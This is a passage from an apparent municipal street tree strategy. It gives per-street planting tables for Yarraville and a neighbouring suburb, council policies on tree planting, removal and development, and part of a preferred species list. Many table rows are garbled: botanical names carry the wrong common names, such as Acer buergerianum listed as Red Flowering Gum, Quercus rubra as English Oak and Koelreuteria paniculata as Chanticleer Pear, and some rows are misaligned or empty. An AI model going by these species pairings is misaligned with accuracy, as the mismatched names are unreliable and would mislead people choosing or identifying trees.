ussuriensis* | Manchurian Pear | J | 0 | 10 | | GEELONG ROAD | *Corymbia maculata* | Spotted Gum | J | 61 | 7 | | | *Pyrus calleryana* ‘Chanticleer’ | Chanticleer Pear | J | 6 | 10 | | GLAMIS ROAD | *Lophostemon confertus* | Brush Box | I | 7 | 8 | | GRAHAM STREET | *Lophostemon confertus* | Brush Box | G | 9 | 5 | | GRAINGERS ROAD | *Acacia spp* | Wattle | A | 34 | 9 | | GWELU STREET | *Agonis flexuosa* | Willow Myrtle | J | 8 | 10 | | HAMPTON PARADE | *Corymbia ficifolia* | Red Flowering Gum | J | 6 | 10 | | HANSEN STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | HARTLEY AVENUE | *Calodendron capense* | Cape Chestnut | J | 1 | 10 | | HATFIELD COURT | *Lophostemon confertus* | Brush Box | J | 2 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |---------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | HEX STREET | *Eucalyptus leucoxylon* 'Euky Dwarf' | Yellow Gum | H | 23 | 5 | | HOPE STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 7 | 10 | | INDWE STREET | *Eucalyptus leucoxylon* (East) | Yellow Gum (East) | J | 8 | 10 | | KATHLEEN STREET | *Olea europeea* (West) | Olive (West) | | | | | KHARTOUM STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | H | 4 | 7 | | KOROROIT STREET | *Melia azederach* (West) | Melia azederach (West) | I | 13 | 7 | | LAF STREET | *Angophora costata* | Weeping Myall (East) | A | 16 | 1 | | MARCUS AVENUE | *Tristaniopsis laurina* | Water Gum | I | 8 | 8 | | MARGOT STREET | *Lophostemon confertus* | Brush Box | J | 2 | 10 | | MARKET STREET | *Corymbia ficifolia* | Red Flowering Gum | J | 4 | 10 | | MCAUTHUR STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | MILTON STREET | *Corymbia ficifolia* | Red Flowering Gum | C | 23 | 9 | | MITFORD PARADE | *Olea europaea* 'Sativa' | Olive | J | 0 | 10 | | MOLESWORTH COURT | *Acer buergerianum* | Red Flowering Gum | A | 29 | 9 | | NAPOLEON STREET | *Trident Maple* | Manchurian Pear | J | 0 | 10 | | NEIL STREET | *Pyrus ussuriensis* | White Cedar | J | 10 | 10 | | NESNAH STREET | *Melia azederach* | Willow Myrtle | J | 7 | 8 | | ORMOND ROAD | *Agonis flexuosa* | Oriental Plane | H | 20 | 6 | | OXFORD STREET | *Callistemon viriminalis* | Weeping Bottlebrush | I | 11 | 8 | | PALMERSTON STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | PARAMOUNT ROAD | *Eucalyptus leucoxylon* 'Rosea' | Yellow Gum | G | 27 | 4 | | PARK AVENUE | *Eucalyptus leucoxylon* 'Rosea' | Yellow Gum | J | 0 | 10 | | PITT STREET | *Tristaniopsis laurina* | Water Gum | I | 21 | 7 | | RICHELIEU STREET | *Angophora costata* | Smooth Barked Apple | J | 25 | 9 | | ROBBS ROAD | *Olea europaea* 'Sativa' | Olive | J | 1 | 10 | | RONDELL AVENUE | *Melia azederach* | White Cedar | G | 108 | 2 | | RUPERT STREET | *Pyrus ussuriensis* | Willow Myrtle | H | 13 | 6 | | RUSSELL STREET | *Crepe Myrtle* | White Cedar | I | 18 | 7 | | SOMERVILLE ROAD | *Agonis flexuosa* | Oriental Plane | H | 42 | 4 | | SREDNA STREET | *Callistemon spp* | Weeping Bottlebrush | I | 4 | 8 | | STANHOPE STREET | *Eucalyptus mannifera* | Red Spotted Gum | E | 18 | 9 | | STANLEY STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 26 | 8 | | STONEMARK COURT | *Koelreuteria paniculata* | Chanticleer Pear | H | 84 | 3 | | STRADBROKE STREET | *Pyrus calleryana* 'Chanticleer' | Willow Myrtle | F | 13 | 3 | | TOTTENHAM PARADE | *Callistemon Viriminalis* | Weeping Bottlebrush | J | 7 | 10 | | TUCKER STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 26 | 8 | | VINE STREET | *Callistemon spp* | Weeping Bottlebrush | I | 7 | 8 | | WAIORA PARADE | *Corymbia ficifolia* (South) | Red Flowering Gum (South) | A | 22 | 9 | | WARLEIGH ROAD | *Fraxinus angustifolia* | Desert Ash | J | 4 | 10 | | WATITLE STREET | *Acacia podalyriifolia* | Queensland Silver Wattle | I | 7 | 8 | | WELLINGTON STREET | *Callistemon spp* (North) | Bottlebrush (North) | J | 7 | 10 | | WEST STREET | *Angophora costata* | Smooth Barked Apple | I | 4 | 8 | | WHITLEY PARADE | *Acacia implexa* | Lightwood | A | 22 | 9 | ## Yarraville For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|------------------------------------------------------------------------------|------------------------------|------------------|--------------|--------------------| | ADALEIGH STREET | *Callistemon viminalis* | Weeping Bottlebrush | G | 19 | 5 | | ADENEY STREET | *Pyrus calleryana* | Callery Pear | J | 0 | 10 | | AGNES STREET | *Lagerstroemia indica* 'Tuskarora' | Crepe Myrtle | A | 8 | 8 | | ALICE STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | ANDERSON STREET | *Corymbia ficifolia* (South) | Red Flowering Gum (South) | H | 32 | 3 | | | *Pyrus ussuriensis* (North) | Manchurian Pear (North) | C | | | | | *Ulmus parvifolia* (W'town Rd to Severn St) | Chinese Elm (W'town Rd to Severn St) | J | 0 | 10 | | ANGLISS STREET | *Callistemon salignus* | Weeping Bottlebrush | J | 0 | 10 | | ASTON STREET | *Tristaniopsis laurina* | Water Gum | A | 6 | 3 | | AUSTIN CRESCENT E | *Melia azederach* | White Cedar | H | 6 | 7 | | AUSTIN CRESCENT W | *Melia azederach* | White Cedar | I | 8 | 8 | | AVOCA STREET | *Acer platanoides* 'Globosum' | Globe Norway Maple | A | 16 | 3 | | BALLARAT STREET | *Pyrus ussuriensis* | Manchurian Pear | C | 34 | 2 | | BALLARD STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | BANPOOL AVENUE | *Olea europaea* 'Sativa' | Olive | J | 0 | 10 | | BARNET STREET | *Olea europaea* 'Sativa' | Olive | J | 6 | 10 | | BARRETT COURT | *Tristaniopsis laurina* | Water Gum | I | 4 | 8 | | BAYVIEW ROAD | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | BEATRICE STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | BELLAIRS AVENUE | *Agonis flexuosa* | Willow Myrtle | J | 0 | 10 | | BENA STREET | *Agonis flexuosa* | Willow Myrtle | I | 26 | 7 | | BENBOW STREET | *Melia azederach* | White Cedar | J | 15 | 9 | | BERRY STREET | *Olea europaea* 'Sativa' | Olive | J | 5 | 10 | | BEVERLEY STREET | *Callistemon viminalis* | Chanticleer Pear | I | 5 | 8 | | | *Lophostemon confertus* | | | | | | BIRMINGHAM STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | I | 5 | 9 | | BISHOP STREET | *Ulmus parvifolia* | Chinese Elm | J | 4 | 10 | | BLACKWOOD STREET | *Acer buergerianum* (West of rail) | Trident Maple (West of Rail) | I | 27 | 7 | | | *Acer platanoides* 'Globosum' (East of rail) | Globe Norway Maple (East of Rail) | I | | | | | *Melia azederach* (Fehon St to W'town Rd) | White Cedar (Fehon St to W'town Rd) | I | | | | BLANCHE STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 0 | 10 | | BROMYARD STREET | *Agonis flexuosa* | Willow Myrtle | J | 4 | 10 | | BROOKS PLACE | *Acacia implexa* | Lightwood | D | 4 | 9 | | BUNINYONG STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 9 | 10 | | BURNS STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | CANTERBURY STREET | *Lagerstroemia indica* (West) | Crepe Myrtle | J | 4 | 10 | | | Confirmation Pending (East) | | | | | | CASTLE STREET | *Melia azederach* | White Cedar | J | 1 | 10 | | CASTLEMAINE STREET | *Eucalyptus leucoxylon* 'Euky Dwarf' (East) | Yellow Gum (East) | H | 22 | 5 | | | *Lagerstroemia indica* (West) | Crepe Myrtle (West) | A | 6 | 9 | | CAWLEY ROAD | *Agonis flexuosa* | Willow Myrtle | E | 25 | 10 | | CECIL STREET | *Olea europaea* 'Pical' | Picual Olive | J | 0 | 10 | | CEMETERY ROAD | *Ulmus parvifolia* | Chinese Elm | J | 2 | 10 | | CHAPMAN STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | CHARLOTTE STREET | *Callistemon viminalis* | Weeping Bottlebrush | H | 14 | 6 | | CLARE STREET | *Lagerstroemia indica* | Crepe Myrtle | A | 6 | 9 | | CLARENDRON STREET | *Olea europaea* 'Sativa' | Olive | J | 2 | 10 | | CORRIS STREET | *Melia azederach* | White Cedar | J | 3 | 10 | | COURT STREET | *Melia azederach* | White Cedar | J | 5 | 10 | | CRANBROOK STREET | *Lophostemon confertus* | Brush Box | G | 14 | 5 | | CUMING STREET | *Acacia implexa* | Lightwood | H | 6 | 7 | | DAY STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | DEAKIN STREET | *Melia azederach* | White Cedar | J | 4 | 10 | | DEAN STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | A | 11 | 1 | | DELEWARE STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | G | 8 | 5 | | DICKENS STREET | *Eucalyptus leucoxylon* 'Euky Dwarf' | Yellow Gum | J | 0 | 10 | | DREW STREET | *Agonis flexuosa* | Willow Myrtle | H | 22 | 6 | | DUCKER STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | I | 4 | 8 | | EARSDON STREET | *Angophora costata* | Smoothed Barked Apple | A | 7 | 8 | | EIRENE STREET | *Eucalyptus torquata* | Coral Gum | J | 12 | 9 | | ELIZABETH STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 6 | 10 | | FAIRLIE STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 3 | 10 | | FEHON STREET | *Quercus rubra* | English Oak | I | 23 | 7 | | FIELDING STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | FINLAY STREET | *Tristaniopsis laurina* | Water Gum | H | 10 | 6 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |---------------------|-------------------------------------|------------------------------|------------------|--------------|--------------------| | FOGARTY AVENUE | *Acacia implexa* | Lightwood | F | 55 | 2 | | FORREST STREET | *Pyruss calleryana* 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | FRANCIS STREET | *Ulmus parvifolia* | Chinese Elm | H | 107 | 3 | | FRASER STREET | *Eucalyptus melliodora* | Yellow Box | J | 0 | 10 | | FREAME STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | FREDERICK STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | J | 0 | 10 | | FREE STREET | *Juniperus* 'Skyrocket' | Skyrocket Juniper | H | 4 | 7 | | FREEMAN STREET | *Lophostemon confertus* | Brush Box | I | 12 | 8 | | FYANS STREET | *Melia azederach* | White Cedar | A | 3 | 10 | | GAMON STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 2 | 10 | | GEELONG ROAD | *Corymbia maculata* | Spotted Gum | J | 1 | 10 | | GENT STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | GEORGE STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 2 | 10 | | GLADSTONE STREET | *Olea europeea* 'Picual' | Picual Olive | J | 3 | 10 | | GLOBE STREET | *Acer buergerianum* | Trident Maple | J | 0 | 10 | | GORDON PARADE | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | GOULBURN STREET | *Eucalyptus forestiana* | Fushia Gum | I | 6 | 5 | | GRACE STREET | *Lagerstroemia indica* | Crepe Myrtle | A | 15 | 1 | | GRAY STREET | *Olea europeea* | Olive | H | 13 | 6 | | HALL STREET | *Tristaniopsis laurina* | Water Gum | A | 13 | 10 | | HAMILTON STREET | *Platanus orientalis* | Oriental Plane | J | 2 | 10 | | HANCE STREET | *Acer buergerianum* | Trident Maple | I | 5 | 9 | | HARRIET STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | I | 2 | 8 | | HAWKHURST STREET | *Ulmus parvifolia* | Chinese Elm | J | 22 | 8 | | HAWTHORN STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | HIGH STREET | *Fraxinus griffithii* | Evergreen Ash | E | 11 | 3 | | HIGHGATE STREET | *Lophostemon confertus* | Brush Box | G | 11 | 5 | | HOOD STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | A | 7 | 8 | | HUGHES STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | HYDE STREET | *Tristaniopsis laurina* | Water Gum | G | 82 | 5 | | JEPSON STREET | *Eucalyptus leucoxylon* 'Rosea' | Yellow Gum | H | 6 | 7 | | JEWELL STREET | *Tristaniopsis laurina* | Water Gum | H | 5 | 7 | | JULIAN STREET | *Tristaniopsis laurina* | Water Gum | J | 3 | 10 | | KENT STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | J | 0 | 10 | | KIDMAN STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | KINGSTON STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | I | 8 | 8 | | KNOX STREET | *Callistemon salignus* | Willow Bottlebrush | I | 6 | 8 | | LEEK STREET | *Callistemon salignus* (Hyde St to Stephen St) | Willow Bottlebrush (Hyde to Stephen) | A | 6 | 10 | | LENNOX STREET | *Callistemon salignus* (Hyde St to Stephen St) | Willow Bottlebrush (Hyde to Stephen) | J | 3 | 10 | | LINCOLN STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | LITTLE DAVID STREET | Confirmation Pending | | J | 5 | 10 | | LOCH STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | H | 7 | 7 | | LORMER STREET | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | LORNE STREET | *Callistemon salignus* | Willow Bottlebrush | J | 4 | 10 | | LOVE STREET | *Agonis flexuosa* | Willow Myrtle | J | 0 | 10 | | LYELL STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | J | 19 | 9 | | MACKAY STREET | *Melia azederach* | White Cedar | J | 2 | 10 | | MAGGIE STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | J | 4 | 10 | | MARJORY STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 3 | 10 | | MARYSTON STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 8 | 10 | | MILL AVENUE | *Pyrus calleryana* | Callery Pear | J | 3 | 10 | | MINNIE STREET | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | F | 4 | 9 | | MONTAGUE STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | MORVEN STREET | *Tristaniopsis laurina* | Water Gum | G | 11 | 5 | | MURRAY STREET | *Eucalyptus leucoxylon* 'Megalocarpa' (West) | Yellow Gum | H | 7 | 7 | | NEWCASTLE STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | I | 12 | 9 | | NEYLON STREET | *Ulmus parvifolia* | Chinese Elm | J | 2 | 10 | | NICHOLSON STREET | *Eucalyptus leucoxylon* 'Rosea' | Yellow Gum | J | 8 | 10 | | NORFOLK STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 5 | 10 | | OFARRELL STREET | *Callistemon viminalis* (South) | Weeping Bottlebrush (South) | J | 13 | 9 | | Ovens Street | *Corymbia ficifolia* (North) | Red Flowering Gum (North) | | | | | PEARCE STREET | *Hymenosporum flavum* | Native Frangipanni | J | 0 | 10 | | PENTLAND PARADE | *Corymbia maculata* | Spotted Gum | J | 0 | 10 | | POWELL STREET | *Melia azederach* (Francis St to Salisbury St) | White Cedar (Francis to Salisbury) | J | 9 | 10 | | | *Plantanus orientalis* (Anderson St to Francis St) | Oriental Plane (Anderson to Francis) | | | | | PRENTICE STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | H | 3 | 7 | | PRINCESS STREET | *Olea europeea* 'Sativa' | Olive | J | 4 | 10 | | REGENT STREET | *Acacia implexa* | Lightwood | J | 0 | 10 | | RICHARDS STREET | *Lophostemon confertus* | Brush Box | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |---------------------|------------------------------------------------------------------------------|--------------------------------------------------|------------------|--------------|--------------------| | ROBERTS STREET | *Angophora costata* | Smooth Barked Apple | J | 14 | 9 | | RONA AVENUE | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 4 | 10 | | SALISBURY STREET | *Melia azederach* | White Cedar | G | 17 | 5 | | SANDERSON STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | SANDFORD GROVE | Confirmation Pending | | G | 3 | 7 | | SCHILD STREET | *Lagerstroemia indica* 'Tuskarora' (Stephen St to Willis St) | Crepe Myrtle (Stephen to Willis) | J | 3 | 10 | | | *Ulmus procera* 'Louis Van Houtte' (Hyde St to Stephen St) | Golden Elm (Hyde to Stephen) | | | | | SEVERN STREET | *Corymbia maculata* (Francis St to Somerville, west side only) | Spotted Gum | J | 25 | 8 | | | *Corymbia eximia* (Francis St to Somerville, east side & Francis St to Benbow)| Yellow Bloodwood | | | | | SIMPSON STREET | *Acacia implexa* (Fast) | Lightwood (Fast) | J | 6 | 10 | | | *Olea europea* 'Tolly's Upright' (West) | Tolly's Upright Olive (West) | | | | | SOMERVILLE ROAD | *Angophora costata* (North) | Smooth Barked Apple (North) | H | 80 | 4 | | | *Lagerstroemia indica* (South) | Crepe Myrtle (South) | | | | | ST LEONARDS AVENUE | *Eucalyptus leucoxylon* 'Megalocarpa' (East) | Yellow Gum (East) | J | 8 | 10 | | | *Fraxinus griffithii* (West) | Evergreen Ash (West) | | | | | STANGER STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | STEPHEN STREET | *Angophora costata* | Smooth Barked Apple | J | 24 | 8 | | | *Lagerstroemia indica* 'Tuskarora' | Crepe Myrtle | | | | | STEWART STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | STONE STREET | *Melia azederach* | White Cedar | H | 7 | 7 | | STOOKE STREET | *Fraxinus griffithii* | Evergreen Ash | J | 0 | 10 | | STOREY STREET | *Acacia implexa* | Lightwood | A | 5 | 9 | | STURT STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 3 | 10 | | SUSSEX STREET | *Angophora costata* | Smooth Barked Apple | G | 20 | 4 | | TARRENGOWER STREET | *Malus ioensis* 'Plena' (East) | Bechtels Crab Apple (East) | J | 0 | 10 | | | *Pyrus ussuriensis* (West) | Manchurian Pear (west) | | | | | TAYLOR STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | TENTERDEN STREET | *Eucalyptus leucoxylon* 'Euky Dwarf' | Yellow Gum | H | 12 | 6 | | THE BOULEVARD | *Melia azederach* | White Cedar | J | 0 | 10 | | THE WILLOWS | Confirmation Pending | | A | 1 | 10 | | THOMAS STREET | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | TONGUE STREET | *Quercus palustris* | Pin Oak | J | 11 | 9 | | TUPPEN STREET | *Melia azederach* | White Cedar | I | 14 | 7 | | URWIN STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | VOCKLER STREET | Confirmation Pending | | J | 0 | 10 | | WEMBLEY AVENUE | *Ulmus parvifolia* | Chinese Elm | J | 4 | 10 | | WHITEHALL STREET | *Melia azederach* | White Cedar | I | 86 | 5 | | WILKINS STREET | *Callistemon salignus* | Willow Bottlebrush | J | 11 | 9 | | WILLIAMSTOWN ROAD | *Lophostemon confertus* | Brush Box | I | 79 | 6 | | WILLIS STREET | *Ulmus procera* 'Louis Van Houtte' | Golden Elm | H | 5 | 7 | | WILSON STREET | *Hymenosporum flaxum* | Native Frangipanni | J | 0 | 10 | | WOODS STREET | *Callistemon spp* | Bottle Brush | A | 9 | 5 | | YORK STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | 9 When Planting Occurs Council strongly supports an equal distribution of street tree planting resources throughout the City. Residents will be notified by mail prior to their street being planted as scheduled in the 10 Year Planting Program. This correspondence will include details of when planting will occur, the nominated tree species, the extent of the planting and any other arrangements if required, such as traffic management. Council is committed to consulting with the community and involving them in the street tree planting process. Community input on planting locations and opportunities for additional planting will be considered. The community will be encouraged to ‘Adopt a Tree’ by helping Council establish each new street tree. This will take the form of: - Watering new street trees during the warmer months. - Not parking cars on the naturestrip close to (<2m) a new street tree. - Not storing materials, such as bricks, close to (<2m) a new street tree - Reporting to Council damage or vandalism to any street tree. - Reporting to Council any street tree in poor health. In areas where vandalism is a concern, the increased ownership of street trees may reduce the likelihood of damage. Some community assisted planting funds will be used to encourage this involvement and ownership. The process of organising meetings and planning and participating in working bees, will contribute to this sense of ownership as well as help develop a sense of community. A tree removed as a result of storm damage, vandalism or imminent risk may be replaced without notice. 10 Processes Development Applications As part of development applications for new dwellings and multi-unit developments, an applicant may request installation of a new vehicle crossover or alteration to an existing crossover. This may impact upon existing street trees and must be discussed at the pre-application stage. Council expects residents and developers to take into account the location of street trees when designing buildings or contemplating vehicle crossings to avoid adverse impacts upon street trees. **The retention of existing trees should be of paramount consideration.** Council will provide relevant advice to applicants regarding street tree selection. It cannot be assumed that a tree will be removed to provide access and a vehicle crossing permit cannot be guaranteed. If a property owner requires a new vehicle crossing near an existing street tree, a Council Arborist will assess the tree at the planning stage and provide a response to the planning officer. If a tree is damaged by development activity Council’s Arborist will determine what remedial actions are required including removal and replacement of the tree. If a tree is to be removed Council will seek compensation for the removal and the replacement of the tree. If a tree is unlawfully damaged or removed, Council will seek compensation for the loss and replacement of the tree. Council will use the Melbourne City Council tree valuation methodology to determine the value of the tree. New Developments and Subdivisions For new subdivisions Council will authorise both tree species selection and the street tree planting plan at the planning stage. Species selection must be consistent with this Strategy and the 10 Year Planting Program. Council’s Arborist will liaise with developers, or their representatives, for the selection of street tree species. Existing street trees are to be protected and retained in accordance with AS4970 2009, Protection of Trees on Construction Sites. Removal of Trees Council will not remove healthy or non-dangerous trees. If a tree is problematic all other possible remedial solutions will be explored before tree removal is considered. A tree may be removed where: - The tree is assessed by a qualified Council Arborist and is determined to be a risk to the public or infrastructure and maintenance or remedial action can not remove or reduce that risk. and/or; - The tree is proven to be actively damaging structures, services or infrastructure. and/or; - Is irrevocably effected by pests or disease and/or constitutes a threat to the City’s tree population. and/or; - The tree is listed on Council’s Non Preferred Species List and is demonstrating any of the conditions above. Major Projects In certain circumstances such as a proposal for a major capital project or major arterial road (not a local street), an existing street tree may be removed in the interest of establishing a significant, consistent avenue of planting. This will only occur where the existing tree to be removed and replaced represents less than ten percent (10%) of the existing street or avenue planting and is approved by a Council Arborist. Local Road Reconstructions Existing trees may require removal as a result of road reconstruction or infrastructure works where tree retention is not possible. Council will, in the first instance, ensure that all design options to retain existing trees are fully explored before trees are identified for removal. For road reconstructions where tree removals diminish the quantity of trees in a street (that substantially changes the street tree character), residents will have the ability to nominate a preferred species from the Preferred Tree Species List. This will be undertaken in targeted consultation for streets undergoing redesign. Council’s Arborist will make the final decision on tree removal and new species selection based on resident input, and advise residents prior to construction. Resident Requests Planting Request Residents may request Council to install a new street tree where: - A tree has died. - A tree has been severely damaged. - A tree is performing very poorly or is in serious decline. - A street tree location is vacant. A request may be lodged by a resident, a group of residents or a business. Each request will be logged and an assessment made by a Council Arborist. If the location is included within the 10 Year Planting Program the resident will be advised of the relevant details and timeframes. If the location is not within the 10 Year Planting Program the location will be assessed for its suitability for planting in accordance with the Street Tree Strategy and the resident advised of the outcome. If the site has been deemed suitable the location will be added to the Replacement Planting Program, which may be undertaken in the planting season of May to September each year. Tree Removal Requests A resident may request the removal of a tree. Each request will be logged and an assessment made by Council’s Arborist against the removal criteria. If the tree in does not meet the removal criteria it will then be assessed by a Council Arborist for maintenance or remedial action. If maintenance or remedial action is required this will be programmed and the resident advised. The resident will also be advised if no action is required. If the tree does not meet the removal criteria it will not be removed. For trees that are approved for removal, this work will be programmed and a replacement added to the replacement program and the resident advised. Tree Removal Criteria No tree will be removed for the following reasons: - Leaf, fruit, sap or the dropping of any other debris. - Because birds or bats are roosting, feeding, nesting or in any other way utilising the tree as habitat. - Because possums, bats or other fauna are utilising the tree as habitat. - Over shading. A tree may be removed where: - The resident can prove the tree is actively damaging property or infrastructure. - Once assessed by a Council Arborist the tree is determined to be a risk to the public or infrastructure and maintenance or remedial action can not satisfactorily remove or reduce that risk. - The tree is senescent or dying. - The tree contributes little to the streetscape’s visual appeal or uniformity for avenue planting. - The tree is not a preferred species. - The tree is unsuitable for the position: is suckering, has expansive root systems, thorns, is of exceptional size, is irritant (allergic) or adversely upon impacting infrastructure. Planting on Naturestrips Naturestrip planting is permissible in accordance with the **Naturestrip Landscape Policy Guidelines** which: - Allows the development of sustainable alternatives to a turf naturestrip with the aim of reducing water and energy consumption. - Provides a choice for residents who are unable to maintain a turf naturestrip. - Further develops the urban landscape with an emphasis on the use of native/indigenous plants and the provision of micro-habitats. The **Naturestrip Landscape Policy Guidelines** are available on Council’s website of by contacting Council directly. Planting Without Consent If a tree is planted within a road reserve without consent Council’s Arborist will make an inspection to determine if the tree will be retained or removed. Reasons a tree will be removed include: - Species is on the Non-Preferred Species List. - Constitutes an unacceptable risk to the public or property. - Adversely impacts on the street or neighbourhood character. - Conflicts with any Council planting program. - Unable to be programmed into a maintenance program. ## Appendix 01 - Preferred Tree Species List | Genus | Species | Cultivar, Variety or Subspecies | Common Name | Deciduous | Narrow Nature strip | Medium Nature strip | Large Nature strip | Footpath Cut-Out | Road Cut-Out | Aerial Bundled Cable | Low Voltage | High Voltage | |----------------|---------------|---------------------------------|------------------------------|-----------|---------------------|---------------------|--------------------|------------------|---------------|----------------------|-------------|--------------| | Acacia | pendula | | Weeping Myall | | | | | | | | | | | Acacia | podalyriifolia| | Queensland Silver Wattle | | | | | | | | | | | Acacia | impexa | | Lightwood | | | | | | | | | | | Acer | x freemanii | 'Autumn Blaze' | Red Maple | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | | | | Acer | x freemanii | 'Jeffersred' | Autumn Blaze Maple | | | | | | | | | | | Acer | buergerianum | | Trident Maple | | | | | | | | | | | Acer | platanoides | 'Columnare' | Norway Maple | | | | | | | | | | | Acer | platinoides | 'Globosum' | Maple | | | | | | | | | | | Agonis | flexuosa | | Willow Myrtle | | | | | | | | | | | Allocasuarina | verticillata | | Drooping Sheoak | | | | | | | | | | | Allocasuarina | torulosa | | Drooping Sheoak | | | | | | | | | | | Allocasuarina | littoralis | | Black Sheoak | | | | | | | | | | | Angophora | costata | | Smoothed Barked Apple | | | | | | | | | | | Brachychiton | acerifolius | | Illawarra Flame Tree | | | | | | | | | | | Callistemon | citrinus | | Lemon Scented Bottlebrush | | | | | | | | | | | Callistemon | 'Harkness' | | Bottlebrush | | | | | | | | | | | Callistemon | x acerifolia | | Willow Bottlebrush | | | | | | | | | | | Callistemon | viminalis | | Weeping Bottlebrush | | | | | | | | | | | Calodendrum | pseudoacacia | | Cape Chestnut | Semi | | | | | | | | | | Corymbia | maculata | | Spotted Gum | | | | | | | | | | | Corymbia | eximia | | Yellow Bloodwood | | | | | | | | | | | Corymbia | citriodora | | Lemon Scented Gum | | | | | | | | | | | Corymbia | ficifolia | | Red-flowering Gum | | | | | | | | | | | Corymbia | 'Summer Red' | | Summer Red | | | | | | | | | | | Eucalyptus | torquata | | Coral Gum | | | | | | | | | | | Eucalyptus | microcorys | | Tallow Wood | | | | | | | | | | | Eucalyptus | microcarpa | | Grey Box | | | | | | | | | | | Eucalyptus | melliodora | | Yellow Box | | | | | | | | | | | Eucalyptus | mannifera | | Red Spotted Gum | | | | | | | | | | | Eucalyptus | leucoxyion | megalocarpa | Yellow Gum | | | | | | | | | | | Eucalyptus | leucophylla | 'Rosea' | Yellow Gum | | | | | | | | | | | Eucalyptus | leucophylla | 'Euky Dwarf' | Euky Dwarf | | | | | | | | | | | Eucalyptus | forrestiana | | Fuchsia Mallee | | | | | | | | | | | Eucalyptus | scoparia | | Wallangara White Gum | | | | | | | | | | | Eucalyptus | sideroxylon | | Red Ironbark | | | | | | | | | | | Fraxinus | velutina | | Arizona Ash | | | | | | | | | | | Fraxinus | pennsylvanica | | Red Ash | | | | | | | | | | | Fraxinus | griffithii | | Evergreen Ash | | | | | | | | | | | Ginkgo | biloba | | Maidenhair Tree | | | | | | | | | | | Hymenosporum | flavum | | Native Frangipani | | | | | | | | | | | Jacaranda | mimosifolia | | Jacaranda | | | | | | | | | | | Koelreuteria | paniculata | | Golden Rain Tree | | | | | | | | | | | Lagerstroemia | indica | | Crepe Myrtle | | | | | | | | | | | Lagerstroemia | indica | x L.fauriei 'Tuscarora' | Crepe Myrtle | | | | | | | | | | | Laurus | nobilis | | Bay Laurel | | | | | | | | | | | Lophostemon | confertus | | Brush Box | | | | | | | | | | | Malus | ioensis | 'Plena' | Bechtel CrabApple | | | | | | | | | | | Melia | azederach | | White Cedar | | | | | | | | | | | Olea | europaea | 'Tolly's Upright' | Olive | | | | | | | | | | | Olea | europaea | 'Swan Hill' 